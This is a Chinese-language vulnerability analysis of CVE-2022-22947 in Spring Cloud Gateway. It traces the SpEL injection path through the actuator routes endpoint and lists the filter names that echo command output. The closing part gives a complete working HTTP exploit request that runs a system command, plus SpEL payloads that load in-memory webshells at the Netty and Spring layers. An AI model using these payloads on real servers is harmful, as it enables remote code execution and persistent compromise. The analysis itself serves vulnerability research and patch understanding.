spring cloud gateway rce(CVE-2022-22947)分析

環境搭建

https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.0.6

漏洞分析

該漏洞造成原因是因爲配置可寫+SPEL表達式的解析導致的

SpEL表達式的觸發方式有3種,xml,註釋,直接傳參。這裏基本不可能是將惡意poc傳到註釋中,或者寫入到xml中,所以觸發方式應該是將輸入poc當做某個函數的參數傳入其中的,而SpEL表達式的解析的方法爲SpelExpressionParser.parseExpression()函數

全局檢索這個危險函數

初步定位到org/springframework/cloud/gateway/support/ShortcutConfigurable.java中的49行函數,此處的的entryValue爲傳入執行參數,因此需要追蹤該參數的傳入路徑。

往上跟蹤會發現在其自定義的,normalize()函數中會傳從args中取出值放入到getValue()函數中

繼續跟蹤發現值從this.properties參數傳入

打上斷點,使用refresh的會將poc執行觸發漏洞,查看堆棧信息

剛開始的入口爲org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.java的refresh controller控制器,進入邏輯

接下來就是定位參數值從哪裏獲取了,因爲是分析1day漏洞,知道poc怎麼寫,大致清楚是從route的配置信息中獲取的,這裏的值也是從org/springframework/cloud/gateway/support/ConfigurationService.javathis.properties中獲取的,查看該成員變量的賦值情況

查看傳入處,可以定位到definition變量,這個變量是從filter中獲取的值,通過for循環一個個的往properties中傳

因爲該漏洞是多步觸發,這個filter的屬性一定是以內存,文本,數據庫之一的形式暫存的,此次的debug跟蹤只能找到讀取來源,可以看到從gatewayproperties中獲取

接下來看看最先傳入的邏輯,也就是post路由

跟進設置處的代碼,僅檢測url中的路由中的id是否爲空,並且會將id設置爲route,其他內容可以自由發揮

嘗試發送空的json的數據包,符合格式,但可以從log中看到包含的參數有predicates,filters,url,order,metadata

將數據包發過去並refresh,發現報錯,報錯內容中最後出錯處提示需要uri參數

注意: 這時候需要將其路由使用delete刪除,不然後面的所有refresh都會報錯,也就是說之前的poc如果有錯誤,需要delete,不然後續即使寫到其他路由也會在refresh執行時報錯

帶上uri參數,就沒報錯了,並且成功回顯了

再次跟蹤refresh執行SpEL表達式的邏輯,帶上filter參數,成功執行命令

再次請求可以返回命令信息,所以必要參數是uri,而網上公佈的poc中的id參數並不是必要的

至於傳入poc的參數爲filters,debug調試,查看調用處邏輯,在此處傳入的合法字段有predicates,filters,uri,metadata,order

這裏面的filters和predicates爲數組,uri爲uri類型並且已經被處理過,無法注入惡意poc,注入惡意poc也會報錯,而predicates不會走到SpEL表達式邏輯。

而filters中的name值也有一定的要求,必須是在以下類中的名稱,非這個類的方法名稱測會在post時候會進行報錯

org/springframework/cloud/gateway/route/builder/GatewayFilterSpec.java

整理如下,均會執行SpEL的表達式

能回顯
AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
SetResponseHeader

不能回顯
DedupeResponseHeader
MapRequestHeader
ModifyRequestBody
ModifyResponseBody
PreserveHostHeader
PrefixPath
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
SecureHeaders
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri

最終poc如下

POST /actuator/gateway/routes/a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 267

{
"uri":"lb://httpbin",
"filters":[{
	"name":"SetResponseHeader",
	"args":{
		"name":"a",
		"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
	}
}
]
}

注入內存馬的上下文信息可以參考

https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

https://blog.wanghw.cn/tech-share/cve-2022-22947-inject-godzilla-memshell.html

內存馬分爲2個層級一個是netty中間件級的內存馬,一個是spring框架層的內存馬,加載機制無非是通過classloader去加載base64解碼後的字節碼,然後進行運行注入到內存中

//netty
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

//spring
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}

輸出成腳本工具

https://github.com/SiJiDo/CVE-2022-22947

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章